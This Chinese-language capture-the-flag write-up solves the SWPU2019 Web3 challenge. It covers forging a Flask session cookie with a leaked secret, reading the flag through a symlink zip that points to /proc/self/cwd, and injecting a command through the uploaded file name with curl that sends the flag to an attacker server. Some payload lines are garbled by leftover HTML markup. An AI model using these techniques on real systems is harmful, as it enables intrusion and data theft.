[SWPU2019]Web3

/ 0评 / 0


尝试登录发现可以登录上,点击上传发现‘Permission denied!’
可能要cookie伪造,发现cooike中是jwt加密的,使用解密脚本进行解密得到:
{'id': b'100', 'is_login': True, 'password': b'default', 'username': b'default'}
根据经验应该是ID为1的时候可以上传,但是没有秘钥。
测试了一会儿发现访问不存在的页面会出key:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

使用flask_session_cookie伪造。刷新就出现了上传文件页面

发现给了源码:

@app.route('/upload',methods=['GET','POST'])
def upload():
    if session['id'] != b'1':
        return render_template_string(temp)
    if request.method=='POST':
        m = hashlib.md5()
        name = session['password']
        name = name+'qweqweqwe'
        name = name.encode(encoding='utf-8')
        m.update(name)
        md5_one= m.hexdigest()
        n = hashlib.md5()
        ip = request.remote_addr
        ip = ip.encode(encoding='utf-8')
        n.update(ip)
        md5_ip = n.hexdigest()
        f=request.files['file']
        basepath=os.path.dirname(os.path.realpath(__file__))
        path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
        path_base = basepath+'/upload/'+md5_ip+'/'
        filename = f.filename
        pathname = path+filename
        if "zip" != filename.split('.')[-1]:
            return 'zip only allowed'
        if not os.path.exists(path_base):
            try:
                os.makedirs(path_base)
            except Exception as e:
                return 'error'
        if not os.path.exists(path):
            try:
                os.makedirs(path)
            except Exception as e:
                return 'error'
        if not os.path.exists(pathname):
            try:
                f.save(pathname)
            except Exception as e:
                return 'error'
        try:
            cmd = "unzip -n -d "+path+" "+ pathname
            if cmd.find('|') != -1 or cmd.find(';') != -1:
                waf()
                return 'error'
            os.system(cmd)
        except Exception as e:
            return 'error'
        unzip_file = zipfile.ZipFile(pathname,'r')
        unzip_filename = unzip_file.namelist()[0]
        if session['is_login'] != True:
            return 'not login'
        try:
            if unzip_filename.find('/') != -1:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
            image = open(path+unzip_filename, "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        except Exception as e:
            shutil.rmtree(path_base)
            os.mkdir(path_base)
            return 'error'
    return render_template('upload.html')
@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

审计源码后发现,只允许上传zip文件,并且不允许有/
然后就不太会了,看了一眼WP。发现了两种解法:

第一种:使用软链接完成文件读取
CVE-2018-12015: Archive::Tar: directory traversal
上传一个软链接压缩包,完成flag读取。因为缺少flag的绝对路径,只有相对于flask工作目录的相对路径./flag/flag.jpg,所以要先获取flask的工作目录。
这里又有两种方法
0x00
linux中,/proc/self/cwd/会指向进程的当前目录,那么在不知道flask工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问flag.jpgexp如下:
ln <span class="token operator">-</span>s <span class="token operator">/</span>proc<span class="token operator">/</span>self<span class="token operator">/</span>cwd<span class="token operator">/</span>flag<span class="token operator">/</span>flag<span class="token punctuation">.</span>jpg ha1c9on
zip <span class="token operator">-</span>ry ha1c9on<span class="token punctuation">.</span>zip ha1c9on
上传就有回显了
第二种:命令注入
在文件名处进行命令注入。类似$(curl vps -T <code>pwd).zip这种。
因为不允许/ 所以不能直接用cat命令读取
liunx命令ascii码可以和字符转换
<span class="token function">$</span><span class="token punctuation">(</span>sky<span class="token operator">=</span><span class="token template-string"><span class="token template-punctuation string"><code></span><span class="token string">awk 'BEGIN{printf "%c\n",47}'</span><span class="token template-punctuation string">&&curl vps_ip:23333 -T </span><span class="token string">cat .</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>sky<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">flag</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>sky<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">flag.jpg</span><span class="token template-punctuation string">)

获得flag
参考:https://www.jianshu.com/p/71bc9bdd9882

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注